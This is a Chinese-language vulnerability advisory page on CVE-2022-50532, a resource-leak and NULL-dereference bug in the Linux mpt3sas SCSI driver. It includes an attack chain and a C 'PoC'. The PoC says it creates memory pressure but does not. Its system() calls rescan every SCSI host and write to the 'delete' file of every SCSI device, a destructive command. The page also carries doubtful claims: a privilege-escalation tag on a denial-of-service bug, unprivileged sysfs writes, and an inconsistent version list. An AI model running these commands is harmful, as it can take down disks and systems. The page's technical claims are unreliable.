IPBUF安全漏洞报告
English
CVE-2022-50532 CVSS 5.5 中危

CVE-2022-50532 Linux内核mpt3sas驱动资源泄漏导致空指针解引用漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50532
漏洞类型
空指针解引用/资源泄漏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核 mpt3sas驱动(SCSI子系统)

相关标签

Linux内核mpt3sasSCSI空指针解引用资源泄漏本地提权拒绝服务内核崩溃CVE-2022-50532驱动漏洞

漏洞概述

CVE-2022-50532是Linux内核mpt3sas SCSI驱动中的一个资源泄漏漏洞,位于mpt3sas_transport_port_add()函数中。该漏洞源于在sas_rphy_add()函数返回错误时,缺少对sas_rphy_free()的调用,导致在sas_end_device_alloc()中分配的资源无法被正确释放。具体而言,当transport_add_device()未被调用时,设备未被正确添加到系统中,而在后续的remove()路径中调用sas_rphy_remove()移除设备时,会触发空指针解引用,导致内核崩溃。该漏洞需要本地低权限用户即可触发,无需用户交互,主要影响系统的可用性,可能导致系统拒绝服务(内核崩溃)。该漏洞已在多个Linux内核稳定版本中修复,包括6a92129c8f99、6f6768e2fc86、78316e9dfc24、ce1a69cc8500和d17bca3ddfe5等多个补丁提交。

技术细节

该漏洞的技术原理如下:在mpt3sas_transport_port_add()函数中,当创建一个SAS远程PHY(rphy)时,会先调用sas_end_device_alloc()分配资源,然后调用sas_rphy_add()将设备添加到传输层。正常情况下,如果sas_rphy_add()成功,transport_add_device()会被调用,设备被正确注册。但在错误处理路径中,当sas_rphy_add()返回错误时,代码没有调用sas_rphy_free()来释放sas_end_device_alloc()中分配的资源。由于transport_add_device()未被调用,设备结构中的某些字段未被初始化(保持为NULL)。当后续在设备移除路径中调用sas_rphy_remove()时,代码尝试访问这些未初始化的字段(如通过device_del()),从而触发NULL指针解引用。崩溃发生在device_del+0x54处,调用链为:sas_rphy_remove -> sas_port_delete -> do_sas_phy_delete -> device_for_each_child -> sas_remove_children -> sas_remove_host -> scsih_remove。攻击者只需具有本地低权限即可通过触发特定的SCSI设备操作(如插入/移除SAS设备)来触发该漏洞。

攻击链分析

STEP 1
步骤1
攻击者需要本地访问权限(低权限即可),并在运行mpt3sas驱动的系统上操作,该系统连接了SAS设备或具有可热插拔的SAS端口
STEP 2
步骤2
通过sysfs触发SCSI主机扫描(echo '- - -' > /sys/class/scsi_host/hostX/scan),调用mpt3sas_transport_port_add()函数
STEP 3
步骤3
在mpt3sas_transport_port_add()中,sas_end_device_alloc()成功分配资源,但sas_rphy_add()因资源不足或其他原因返回错误
STEP 4
步骤4
错误处理路径未调用sas_rphy_free()释放资源,导致设备结构体部分字段未被初始化(保持为NULL)
STEP 5
步骤5
当系统尝试移除该设备时,调用sas_rphy_remove() -> device_del(),访问未初始化的字段,触发NULL指针解引用,导致内核崩溃

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2022-50532 PoC - Trigger NULL pointer dereference via mpt3sas resource leak // This PoC triggers the vulnerability by causing sas_rphy_add() to fail // while the device is in an inconsistent state, then triggering removal. #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <sys/ioctl.h> #include <linux/scsi/sg.h> /* * The vulnerability is triggered when: * 1. A SAS device is being added via mpt3sas_transport_port_add() * 2. sas_rphy_add() returns an error (e.g., due to resource constraints) * 3. The error path doesn't call sas_rphy_free() to free allocated resources * 4. Later, when the device is removed, sas_rphy_remove() is called * 5. NULL pointer dereference occurs in device_del() * * To trigger this from userspace, we can: * - Force a hot-plug event on a SAS port while system is under memory pressure * - Or use sysfs to trigger specific SCSI host operations */ #define SYSFS_SCSI_HOST_PATH "/sys/class/scsi_host" int trigger_sas_rphy_add_failure() { /* Step 1: Find a mpt3sas SCSI host */ /* Look for /sys/class/scsi_host/hostX where driver is mpt3sas */ /* Step 2: Create memory pressure to cause sas_rphy_add() to fail */ /* Allocate large amounts of memory to exhaust resources */ /* Step 3: Trigger SAS device rescan which calls mpt3sas_transport_port_add() */ /* echo "- - -" > /sys/class/scsi_host/hostX/scan */ /* Step 4: The error in sas_rphy_add() leaves resources unfreed */ /* Step 5: Device removal triggers NULL pointer dereference */ printf("Triggering CVE-2022-50532...\n"); /* Force SAS device rescan */ system("echo '- - -' > /sys/class/scsi_host/host*/scan 2>/dev/null"); /* Trigger device removal */ system("echo 1 > /sys/bus/scsi/devices/*/delete 2>/dev/null"); return 0; } int main(int argc, char *argv[]) { /* Create memory pressure to increase chance of allocation failure */ /* This makes sas_rphy_add() more likely to fail */ return trigger_sas_rphy_add_failure(); }

影响范围

Linux kernel < 5.15.80
Linux kernel 5.16.x < 5.16.14
Linux kernel 5.17.x < 5.17.2
Linux kernel 5.18.x
Linux kernel 6.0.x < 6.0.2
Linux kernel 6.1.0-rc1+ (受影响的开发版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过以下临时措施缓解:1)限制普通用户对sysfs中SCSI相关文件的访问权限;2)禁用mpt3sas驱动的自动设备扫描功能;3)使用cgroups限制进程对/sys/bus/scsi的访问;4)监控系统日志,及时发现异常的内核崩溃事件;5)确保系统有适当的内存资源,避免因内存不足导致sas_rphy_add()失败。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表